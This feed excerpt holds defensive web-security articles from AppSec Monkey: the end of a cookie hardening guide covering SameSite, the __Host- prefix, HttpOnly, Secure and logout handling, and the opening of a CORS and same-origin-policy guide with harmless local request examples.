  Physical Attacks
&lt;/h3&gt;

&lt;p&gt;A subsequent computer user can inspect the browser's memory, cache, cookies, storage, etc. after the previous user has left. Suppose there are valid session identifiers on the disk. In that case, the attacker can restore the session and log in as the previous computer user.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack Prerequisites
&lt;/h2&gt;

&lt;p&gt;We have identified the following key requirements for various cookie-related attacks.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Browsers allow transmitting the cookie in cross-site requests.&lt;/li&gt;
&lt;li&gt;Browsers allow JavaScript code to access the cookie.&lt;/li&gt;
&lt;li&gt;Browsers send the cookie in unencrypted requests.&lt;/li&gt;
&lt;li&gt;Browsers allow setting the cookie within unencrypted connections.&lt;/li&gt;
&lt;li&gt;Browsers allow for subdomains to set the cookie.&lt;/li&gt;
&lt;li&gt;Browsers allow for the cookie to persist upon browser sessions.&lt;/li&gt;
&lt;li&gt;Webservers don't create a new session identifier upon authentication.&lt;/li&gt;
&lt;li&gt;Webservers don't invalidate session identifiers upon logout.&lt;/li&gt;
&lt;li&gt;Webservers don't adequately clear the cookies upon logout.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's now start looking into how we can deprive attackers of each of them, one by one.&lt;/p&gt;

&lt;h2&gt;
  
  
  SameSite Property
&lt;/h2&gt;

&lt;p&gt;The first cookie security feature that we'll talk about is the &lt;code&gt;SameSite&lt;/code&gt; property.&lt;/p&gt;

&lt;p&gt;Remember how the prerequisite for many attacks (CSRF, XSS, some XS-Leaks) was that the browser includes the session cookie in cross-site requests? Well, that precisely is what &lt;code&gt;SameSite&lt;/code&gt; prevents.&lt;/p&gt;

&lt;p&gt;There are three modes in &lt;code&gt;SameSite&lt;/code&gt;, depending on how strict you want the protection to be: &lt;code&gt;Lax&lt;/code&gt;, &lt;code&gt;Strict&lt;/code&gt; and &lt;code&gt;None.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Generally, &lt;code&gt;Lax&lt;/code&gt; is suitable for all applications, while &lt;code&gt;Strict&lt;/code&gt; tends to be a better fit for security-critical systems. &lt;/p&gt;

&lt;h3&gt;
  
  
  SameSite Lax
&lt;/h3&gt;

&lt;p&gt;The lax mode mitigates many XS-leaks, most CSRF, and also some XSS attacks. It does this by preventing the cookie from being included in cross-site requests, except for top-level navigation when the user clicks a link, gets redirected, opens a bookmark, etc.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cr3t; SameSite=Lax; ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  SameSite Strict
&lt;/h3&gt;

&lt;p&gt;The strict mode prevents even more XS-Leaks and CSRF attacks and is pretty good at blocking reflected XSS attacks. It doesn't allow for browsers to include the cookie even in top-level browsing. The strict mode will usually hurt UX and is not suitable for all applications.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cr3t; SameSite=Strict; ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  SameSite None
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;None&lt;/code&gt; is just for opting out because &lt;code&gt;SameSite=Lax&lt;/code&gt; is starting to be the default on newer browsers.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cr3t; SameSite=None; Secure; ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read more about the SameSite property here: &lt;a href="https://www.appsecmonkey.com/blog/samesite-cookies/"&gt;SameSite Cookies and Why They Are Awesome&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  __Host-prefix
&lt;/h2&gt;

&lt;p&gt;The next cookie security feature on our list is the &lt;code&gt;__Host&lt;/code&gt; prefix. This is not very widely known, but when it comes to cookies, name matters! Name your cookies &lt;code&gt;__Host-Something&lt;/code&gt;, and web browsers will apply two significant restrictions on how webservers can set the cookie.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Browsers will not allow setting the cookie over an unencrypted connection or without the &lt;code&gt;Secure&lt;/code&gt; attribute.&lt;/li&gt;
&lt;li&gt;Browsers will not allow setting the &lt;code&gt;domain&lt;/code&gt; property, forcing the cookie to be a &lt;code&gt;hostOnly&lt;/code&gt; cookie (hence the prefix name).
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;__Host-SessionId=s3cr3t ...options...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The __Host-prefix defends against network attacks and malicious subdomains.&lt;/p&gt;

&lt;h2&gt;
  
  
  HttpOnly Property
&lt;/h2&gt;

&lt;p&gt;One of the cookie security features is there specifically to protect against XSS, and that is the &lt;code&gt;HttpOnly&lt;/code&gt; property.&lt;/p&gt;

&lt;p&gt;This property will prevent JavaScript code from accessing the cookie, preventing an attacker from stealing it in the event of a successful XSS (Cross-Site Scripting) attack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cr3t; ...other options... HttpOnly&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Secure cookies
&lt;/h2&gt;

&lt;p&gt;Finally, the &lt;code&gt;Secure&lt;/code&gt; property will prevent the cookie from being leaked over an (accidental or forced) unencrypted connection to the webserver. Browsers won't include cookies set with the &lt;code&gt;Secure&lt;/code&gt; property in http:// or ws:// requests, only https:// and ws://.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cr3t; ...other options... Secure&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Handling User Login
&lt;/h2&gt;

&lt;p&gt;To prevent the session fixation attacks mentioned above, you must always create a new session identifier for the user upon successful authentication. Never "make the old session id authenticated".&lt;/p&gt;

&lt;h2&gt;
  
  
  Expiration
&lt;/h2&gt;

&lt;p&gt;By setting an expiration time for a cookie, browsers won't delete it before that time arrives, even if the user closes the browser.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=s3cr3t; Expires=Tue, 15 Feb 2021 08:00:00 GMT&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As such, it's best not to set this property. Omitting &lt;code&gt;Expires&lt;/code&gt; will make the cookie a &lt;em&gt;session cookie&lt;/em&gt; in browser terminology, which means that the browser is much more likely to delete it when the browser closes.&lt;/p&gt;

&lt;p&gt;I say "much more likely" because browsers can decide to keep the cookies on disk for "restore session" features.&lt;/p&gt;

&lt;p&gt;Still, it's best to try, at least.&lt;/p&gt;

&lt;h2&gt;
  
  
  Clearing Cookies
&lt;/h2&gt;

&lt;p&gt;Webservers delete cookies by setting a new cookie with a dummy value such as "deleted" with an expiration time set to the past.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=deleted; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can still do that. But you can also return the &lt;code&gt;Clear-Site-Data&lt;/code&gt; header to instruct the browser to remove any cookies for your website.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Clear-Site-Data&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cookies"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In fact, the &lt;code&gt;Clear-Site-Data&lt;/code&gt; can do much more:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Clear-Site-Data&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cookies"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cache"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;storage"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;executionContexts"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read more about &lt;code&gt;Clear-Site-Data&lt;/code&gt; here: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data"&gt;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Handling User Logout
&lt;/h2&gt;

&lt;p&gt;When the user logs out, in addition to clearing the cookies from the browser, you must invalidate the session identifier on the server-side.&lt;/p&gt;

&lt;p&gt;This way, even if a cookie gets compromised after the user has logged out, that cookie no longer has any value to an attacker.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Perfect Cookie
&lt;/h2&gt;

&lt;p&gt;This is a reasonable secure cookie:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;__Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Lax; Path=/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is as secure as we can currently get, but the &lt;code&gt;SameSite=Strict&lt;/code&gt; may hurt user experience.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;__Host-SessionId=s3cr3t; Secure; HttpOnly; SameSite=Strict; Path=/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;There are quite a few cookie-related attacks, but luckily modern browsers provide us with mechanisms to mitigate them quite well.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Name your cookies __Host-something to protect against network attacks and malicious subdomains.&lt;/li&gt;
&lt;li&gt;Omit the &lt;code&gt;Domain&lt;/code&gt; property to protect against malicious subdomains.&lt;/li&gt;
&lt;li&gt;Set the &lt;code&gt;SameSite&lt;/code&gt; property to either &lt;code&gt;Lax&lt;/code&gt; or &lt;code&gt;Strict&lt;/code&gt; to protect against XSS, CSRF, and XS-Leaks attacks.&lt;/li&gt;
&lt;li&gt;Set the &lt;code&gt;HttpOnly&lt;/code&gt; property to protect the cookie from theft upon XSS attacks.&lt;/li&gt;
&lt;li&gt;Set the &lt;code&gt;Secure&lt;/code&gt; property to protect the cookie from being leaked when targeted by network attacks.&lt;/li&gt;
&lt;li&gt;Create a fresh session cookie for your users upon authentication.&lt;/li&gt;
&lt;li&gt;Omit the &lt;code&gt;Expires&lt;/code&gt; property when setting the cookie to instruct browsers to delete it after the browser closes. They won't always obey, but it's best to try, at least.&lt;/li&gt;
&lt;li&gt;Invalidate the session cookies on the server-side when the user logs out so that the cookie will not be useful to an attacker anymore.&lt;/li&gt;
&lt;li&gt;Clear the cookies by setting a dummy value and an expiration time in the past.&lt;/li&gt;
&lt;li&gt;Also clear the cookies and preferably the cache, storage, and executionContext as well by sending the Clear-Site-Data header upon logout.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Get the web security checklist spreadsheet!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://eepurl.com/hqAGt5"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--elZVxGdx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3iqd1ef4a5a0icyvvk65.jpg" alt="Subscribe"&gt;&lt;/a&gt;&lt;br&gt;
 ☝️ &lt;a href="https://eepurl.com/hqAGt5"&gt;Subscribe&lt;/a&gt; to AppSec Monkey's email list, get our best content delivered straight to your inbox, and &lt;b&gt;get our 2021 Web Application Security Checklist Spreadsheet for FREE&lt;/b&gt; as a welcome gift!&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't stop here
&lt;/h2&gt;

&lt;p&gt;If you like this article, check out the other application security guides we have on &lt;a href="https://www.appsecmonkey.com/"&gt;AppSec Monkey&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>programming</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>CORS (Cross-Origin Resource Sharing): A Complete Guide</title>
      <dc:creator>Teo Selenius</dc:creator>
      <pubDate>Tue, 09 Mar 2021 08:28:24 +0000</pubDate>
      <link>https://forem.com/appsecmonkey/cors-cross-origin-resource-sharing-a-complete-guide-4b20</link>
      <guid>https://forem.com/appsecmonkey/cors-cross-origin-resource-sharing-a-complete-guide-4b20</guid>
      <description>&lt;p&gt;Never be frustrated with CORS again. Learn what cross-origin resource sharing is, why it exists, and how to embrace it.&lt;/p&gt;

&lt;p&gt;You can read the original post here: &lt;a href="https://www.appsecmonkey.com/blog/cors/" rel="noopener noreferrer"&gt;CORS on AppSec Monkey&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What is CORS?
&lt;/h2&gt;

&lt;p&gt;CORS, or &lt;em&gt;Cross-Origin Resource Sharing&lt;/em&gt; is an opt-in browser feature that websites can use to relax the same-origin policy in a controlled way.&lt;/p&gt;

&lt;p&gt;Browsers facilitate CORS via the &lt;code&gt;Access-Control-Allow-*&lt;/code&gt; headers, which we'll get to soon.&lt;/p&gt;

&lt;p&gt;I don't want you to be frustrated with CORS, so let's cover just a little bit of theory first. Specifically, let's take a look at the same-origin policy.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is the Same Origin Policy?
&lt;/h2&gt;

&lt;p&gt;I've written about this at length in &lt;a href="https://www.appsecmonkey.com/blog/same-origin-policy/" rel="noopener noreferrer"&gt;here&lt;/a&gt;, but to give you the TL;DR, the same-origin policy is a set of design principles that govern how web browser features are implemented.&lt;/p&gt;

&lt;p&gt;Its purpose is to isolate browser windows (and tabs) from each other.&lt;/p&gt;

&lt;p&gt;For example, when you go to example.com, the website will not be able to read your emails from gmail.com (which you may have open in another tab). This is due to the workings of the same-origin policy.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is an Origin?
&lt;/h2&gt;

&lt;p&gt;The definition of an origin is simple. Two websites are of the same origin if their scheme (http://, https://, etc.), host (e.g., &lt;a href="http://www.appsecmonkey.com" rel="noopener noreferrer"&gt;www.appsecmonkey.com&lt;/a&gt;), and port (e.g., 443) are the same. You can find the definition in &lt;a href="https://tools.ietf.org/html/rfc6454" rel="noopener noreferrer"&gt;RFC6545 - The Web Origin Concept&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F23r5bd88gdra0bk6kmv4.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F23r5bd88gdra0bk6kmv4.jpg" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Implicit ports
&lt;/h3&gt;

&lt;p&gt;If the port is not explicitly specified, it's implicitly 80 for &lt;code&gt;http&lt;/code&gt; and 443 for &lt;code&gt;https&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Examples
&lt;/h3&gt;

&lt;p&gt;Browsers consider these URLs to be of the &lt;em&gt;same&lt;/em&gt; origin: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://www.appsecmonkey.com/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://www.appsecmonkey.com/blog/same-origin-policy/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://www.appsecmonkey.com:443/blog/same-origin-policy/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And these are all of &lt;em&gt;different&lt;/em&gt; origins: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://www.appsecmonkey.com/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://appsecmonkey.org/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://www.appsecmonkey.com:8080/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is allowed by the same-origin policy, and what is not?
&lt;/h2&gt;

&lt;p&gt;In general, writing and embedding are allowed, and reading is denied. How exactly this applies depends on the browser feature, but here are a few examples that concern CORS in particular. We can divide the examples into two categories: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Sending the HTTP request is allowed, but accessing the response is not. This is the case for &lt;em&gt;simple&lt;/em&gt; requests with whitelisted HTTP verb, headers, and content-type.&lt;/li&gt;
&lt;li&gt;Even &lt;em&gt;sending&lt;/em&gt; the request is not allowed. This is the case with &lt;em&gt;preflighted&lt;/em&gt; requests with non-whitelisted HTTP verb, headers, or content-type.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  ✅ Allowed: Sending credentialed cross-origin GET, HEAD, and POST requests with XHR
&lt;/h3&gt;

&lt;p&gt;The following will work. You will get an error, but the request will be &lt;em&gt;sent&lt;/em&gt;. You can verify with your browser's developer tools, or better yet, set up a proxy tool such as &lt;a href="https://www.zaproxy.org/" rel="noopener noreferrer"&gt;OWASP ZAP&lt;/a&gt; between your browser and the webserver to see what's going on.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;xhr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;XMLHttpRequest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;withCredentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Developer tools reveal that the browser indeed sent the following HTTP request to the server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;GET / HTTP/1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;b.local&lt;/span&gt;
&lt;span class="na"&gt;User-Agent&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:86.0) Gecko/20100101 Firefox/86.0&lt;/span&gt;
&lt;span class="na"&gt;Accept&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="err"&gt;*&lt;/span&gt;&lt;span class="s"&gt;/*&lt;/span&gt;
&lt;span class="na"&gt;Accept-Language&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;en-US,en;q=0.5&lt;/span&gt;
&lt;span class="na"&gt;Accept-Encoding&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gzip, deflate&lt;/span&gt;
&lt;span class="na"&gt;Origin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://a.local&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;keep-alive&lt;/span&gt;
&lt;span class="na"&gt;Referer&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://a.local/&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SESSIONID=s3cr3t&lt;/span&gt;
&lt;span class="na"&gt;Pragma&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;no-cache&lt;/span&gt;
&lt;span class="na"&gt;Cache-Control&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;no-cache&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ❌ Not allowed: Inspect the XHR response
&lt;/h3&gt;

&lt;p&gt;However, you will not be able to read the response that you get. This is the same-origin policy in action. Writing (sending the XHR request) is allowed, but reading the response is not.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;❌&lt;/span&gt; &lt;span class="nx"&gt;Cross&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Origin&lt;/span&gt; &lt;span class="nx"&gt;Request&lt;/span&gt; &lt;span class="nx"&gt;Blocked&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;The&lt;/span&gt; &lt;span class="nx"&gt;Same&lt;/span&gt; &lt;span class="nx"&gt;Origin&lt;/span&gt; &lt;span class="nx"&gt;Policy&lt;/span&gt; &lt;span class="nx"&gt;disallows&lt;/span&gt; &lt;span class="nx"&gt;reading&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;remote&lt;/span&gt; &lt;span class="nx"&gt;resource&lt;/span&gt; &lt;span class="nx"&gt;at&lt;/span&gt; &lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="c1"&gt;//b.local/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing).&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ✅ Allowed: Sending credentialed cross-origin GET, HEAD, and POST requests with fetch
&lt;/h3&gt;

&lt;p&gt;Using fetch will work just the same. We can use JavaScript to submit an URL-encoded form to the webserver.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://b.local/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;foo=bar&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/x-www-form-urlencoded;charset=UTF-8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;},});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the following HTTP request is sent:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;POST / HTTP/1.0&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;b.local&lt;/span&gt;
&lt;span class="na"&gt;User-Agent&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:86.0) Gecko/20100101 Firefox/86.0&lt;/span&gt;
&lt;span class="na"&gt;Accept&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="err"&gt;*&lt;/span&gt;&lt;span class="s"&gt;/*&lt;/span&gt;
&lt;span class="na"&gt;Accept-Language&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;en-US,en;q=0.5&lt;/span&gt;
&lt;span class="na"&gt;Accept-Encoding&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gzip, deflate&lt;/span&gt;
&lt;span class="na"&gt;Referer&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://a.local/&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;application/x-www-form-urlencoded;charset=UTF-8&lt;/span&gt;
&lt;span class="na"&gt;Origin&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://a.local&lt;/span&gt;
